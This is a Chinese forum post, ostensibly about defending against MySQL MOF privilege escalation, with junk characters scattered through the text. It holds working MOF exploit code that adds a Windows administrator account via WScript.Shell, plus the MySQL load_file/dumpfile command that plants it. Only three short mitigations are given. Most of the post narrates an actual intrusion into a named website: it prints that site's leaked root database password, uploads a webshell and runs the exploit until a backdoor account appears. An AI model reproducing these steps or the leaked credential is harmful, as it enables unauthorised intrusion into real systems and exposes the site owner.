Mysql mof扩展漏洞防范方法9 S, T" n( ~% X3 N8 W1 n
+ V! j) `0 f( v1 N- a
网上公开的一些利用代码:/ ?# k, M. F, y" S- m
$ P; y# k/ }0 C; I% W6 z+ c8 ]
#pragma namespace(“\\\\.\\root\\subscription”). H3 v* a9 n1 R
1 K- Z9 p" W/ w: Oinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
( q; l% h2 ], n6 B# P
$ a$ i( r" h/ y( V/ X$ d* Z8 q
4 d( j$ C! N% u" }' I8 F. V
( A5 U R& C" G. N. E9 o$ k/ A " e; r0 x8 A: `) ]% f1 ~) W9 d- h3 F. l# V1 r
: k7 b# b, H& s) Z/ R5 G连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;3 x2 |+ ?# y& U4 [6 h0 i7 N) c
从上面代码来看得出解决办法:4 e# }, A( V8 d" R. s+ f6 z
f l1 m$ E5 F* A' f
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数+ F3 C6 I7 M7 o8 X7 l! B6 H3 n
$ _% J: s& t4 @2、禁止使用”WScript.Shel”组件
" j" X L; ] a4 D
) b4 G8 Q9 |& N( _5 w+ V3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER/ R2 A+ u( K: M( |
5 ^5 B% t( d r/ y Z# V' R) { c当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
3 C8 m& X5 X4 F) g
9 n K& ?. f/ l, U事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
9 @- j% x; `# F6 W# i1 j& F, M
+ }- j8 t. G1 w6 \4 A但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
0 F8 ~! o9 m/ m" ^3 t, H
' u2 B" J B' ]- X' [: ^看懂了后就开始练手吧
+ i+ r1 g& r( h( T. [0 X3 `
% F) v7 J6 M& @+ i, X3 b9 phttp://www.webbmw.com/config/config_ucenter.php 一句话 a M" j* q6 v: D$ `" c. ^
5 @( Y; W0 n/ b( X$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。2 T; ^# N' T$ A3 e# m( X5 x
; p5 l7 T0 G$ A, z
于是直接用菜刀开搞: X: B8 @0 s2 r; {
) w6 M: d5 r& m. P' O4 _
上马先; V# P# t' h9 K b: n2 ]* }) V
; g% w+ b# g N+ F既然有了那些账号 之类的 于是我们就执行吧…….# y/ @2 W& a5 W9 W
; q0 k5 F1 _" P5 ^# m
小小的说下 Z! N5 r/ K" e0 L1 [$ w& ^
4 o3 d% m" Y) z+ ]! p# X
在这里第1次执行未成功 原因未知
/ @2 P+ P& P) _6 n' ~8 h1 T5 \5 [7 |; v+ q- e4 l
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
- D) {% f! [; K5 y4 N2 d
* |9 Y% v' r8 ]- n s2 R$ \#pragma namespace(“\\\\.\\root\\subscription”)* z% n* H% J0 A; H1 A5 M! H
2 O# N' k9 l1 i# winstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
L4 ]' i7 i0 C- d! w" j* g$ f; i6 B9 `2 @
我是将文件放到C:\WINDOWS\temp\1.mof6 ^2 L1 O% ?7 O0 o R
" t; _! i# B; e [所以我们就改下执行的代码
0 \. h: f7 k2 {" D1 r: ^1 z
$ Q8 U( J% t) p9 l3 X+ p& Cselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;" e' t9 B) E7 A
l& ]3 D5 {( O2 g. }8 @" J
. I& a Q5 ]( Y0 ~5 W B2 g, |
- t8 Y% W2 U; p但是 你会发现账号还是没有躺在那里。。
# C8 O. G4 E9 U; L! P) p. t1 N- w- y0 v
于是我就感觉蛋疼) Z. @2 w' Z6 Z, i$ ]; o6 \
! b7 o; R7 F+ J% {! S
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
6 l' w& g8 S1 D [ A' y" r9 B' N0 n2 K% P' w D1 I
* \. }0 Z3 x1 h- s7 M5 o
' q2 d, ^5 q7 E4 {/ J, O- b( ]" M
但是其他库均不成功…
" |4 V* E$ R9 W8 ?% m* n4 D
! Q/ z9 |$ e' \! |* l) e我就很费解呀 到底为什么不成功求大牛解答…
- Q; N! N' e+ `1 q2 R+ k
0 S9 O- b4 f' [: R6 }. Q; r
( R* p0 o7 P3 P+ U3 X3 G# ]8 H' M* e/ S. |- {+ S" `/ c
|